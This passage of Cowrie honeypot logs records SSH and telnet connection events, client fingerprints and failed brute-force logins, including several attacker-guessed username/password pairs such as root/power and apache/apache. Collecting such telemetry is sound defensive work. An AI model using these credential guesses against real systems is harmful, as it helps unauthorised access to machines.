f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:27.160134Z","src_ip":"43.156.96.97","session":"feaeb2956ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221090","message":"login attempt [root/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:28.142837Z","src_ip":"43.156.96.97","session":"feaeb2956ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:29.384468Z","src_ip":"43.156.96.97","session":"feaeb2956ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53694,"dst_ip":"10.17.0.5","dst_port":22,"session":"feb9e15b56cb","protocol":"ssh","message":"New connection: 103.91.246.101:53694 (10.17.0.5:22) [session: feb9e15b56cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:30.749988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:30.754507Z","src_ip":"103.91.246.101","session":"feb9e15b56cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70ed231d66e","protocol":"telnet","message":"New connection: 152.42.224.71:54252 (10.17.0.5:23) [session: d70ed231d66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:30.876416Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:30.976567Z","src_ip":"103.91.246.101","session":"feb9e15b56cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"14d68dc5da7a","protocol":"ssh","message":"New connection: 31.40.204.166:49740 (159.203.135.109:22) [session: 14d68dc5da7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:31.381311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:31.386020Z","src_ip":"31.40.204.166","session":"14d68dc5da7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:31.508636Z","src_ip":"31.40.204.166","session":"14d68dc5da7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"power","message":"login attempt [root/power] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:31.889371Z","src_ip":"103.91.246.101","session":"feb9e15b56cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:31.982487Z","src_ip":"31.40.204.166","session":"14d68dc5da7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:33.114339Z","src_ip":"103.91.246.101","session":"feb9e15b56cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:33.135513Z","src_ip":"31.40.204.166","session":"14d68dc5da7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0171eb15a88","protocol":"telnet","message":"New connection: 152.42.224.71:54254 (10.17.0.5:23) [session: b0171eb15a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:33.503172Z"}
{"eventid":"cowrie.session.closed","duration":57.91561269760132,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:34.944279Z","src_ip":"152.42.224.71","session":"eccc06c86a45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.57800054550171,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:37.219122Z","src_ip":"152.42.224.71","session":"cb910cf0a038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":59718,"dst_ip":"159.203.135.109","dst_port":22,"session":"1817f7a4b03f","protocol":"ssh","message":"New connection: 47.237.167.49:59718 (159.203.135.109:22) [session: 1817f7a4b03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:38.557719Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab3085db940","protocol":"telnet","message":"New connection: 152.42.224.71:49640 (10.17.0.5:23) [session: 9ab3085db940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:39.758735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:40.152531Z","src_ip":"47.237.167.49","session":"1817f7a4b03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:40.163101Z","src_ip":"47.237.167.49","session":"1817f7a4b03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.374758005142212,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:40.169611Z","src_ip":"152.42.224.71","session":"3300076d3bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57400,"dst_ip":"159.203.135.109","dst_port":22,"session":"278cfefc00fb","protocol":"ssh","message":"New connection: 31.40.204.166:57400 (159.203.135.109:22) [session: 278cfefc00fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:43.411729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:43.497712Z","src_ip":"31.40.204.166","session":"278cfefc00fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:43.592206Z","src_ip":"31.40.204.166","session":"278cfefc00fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"3552f788dd85","protocol":"telnet","message":"New connection: 152.42.224.71:49664 (10.17.0.5:23) [session: 3552f788dd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:43.875167Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49656,"dst_ip":"10.17.0.5","dst_port":23,"session":"386fc464fd3b","protocol":"telnet","message":"New connection: 152.42.224.71:49656 (10.17.0.5:23) [session: 386fc464fd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:43.986683Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:44.193286Z","src_ip":"31.40.204.166","session":"278cfefc00fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:45.387113Z","src_ip":"31.40.204.166","session":"278cfefc00fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:45.817566Z","src_ip":"47.237.167.49","session":"1817f7a4b03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:47.068549Z","src_ip":"47.237.167.49","session":"1817f7a4b03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00503444671631,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:51.194409Z","src_ip":"152.42.224.71","session":"9206de05cb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c917759783fa","protocol":"telnet","message":"New connection: 152.42.224.71:59316 (10.17.0.5:23) [session: c917759783fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:51.868778Z"}
{"eventid":"cowrie.session.closed","duration":120.00463199615479,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:55.311739Z","src_ip":"152.42.224.71","session":"b38936a31d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45132,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d39369d50c","protocol":"ssh","message":"New connection: 31.40.204.166:45132 (159.203.135.109:22) [session: 60d39369d50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:56.712325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:56.717730Z","src_ip":"31.40.204.166","session":"60d39369d50c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:56.882161Z","src_ip":"31.40.204.166","session":"60d39369d50c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:57.919434Z","src_ip":"31.40.204.166","session":"60d39369d50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:59.097688Z","src_ip":"31.40.204.166","session":"60d39369d50c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40974,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe0e3d03855","protocol":"ssh","message":"New connection: 109.237.96.109:40974 (10.17.0.5:22) [session: 0fe0e3d03855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:59.174356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:59.178952Z","src_ip":"109.237.96.109","session":"0fe0e3d03855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:59.268386Z","src_ip":"109.237.96.109","session":"0fe0e3d03855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana","message":"login attempt [root/satana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:36:59.544706Z","src_ip":"109.237.96.109","session":"0fe0e3d03855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35844,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c1f66c73be","protocol":"telnet","message":"New connection: 152.42.224.71:35844 (10.17.0.5:23) [session: 43c1f66c73be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:00.016999Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:00.638931Z","src_ip":"109.237.96.109","session":"0fe0e3d03855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.57467484474182,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:00.952435Z","src_ip":"152.42.224.71","session":"47e2dda0d20d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58602,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8e9b010a62","protocol":"ssh","message":"New connection: 31.40.204.166:58602 (159.203.135.109:22) [session: 6c8e9b010a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:09.422201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:09.426305Z","src_ip":"31.40.204.166","session":"6c8e9b010a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:09.603428Z","src_ip":"31.40.204.166","session":"6c8e9b010a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59512,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff796e5969a","protocol":"telnet","message":"New connection: 152.42.224.71:59512 (10.17.0.5:23) [session: 9ff796e5969a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:37:09.758454Z"}
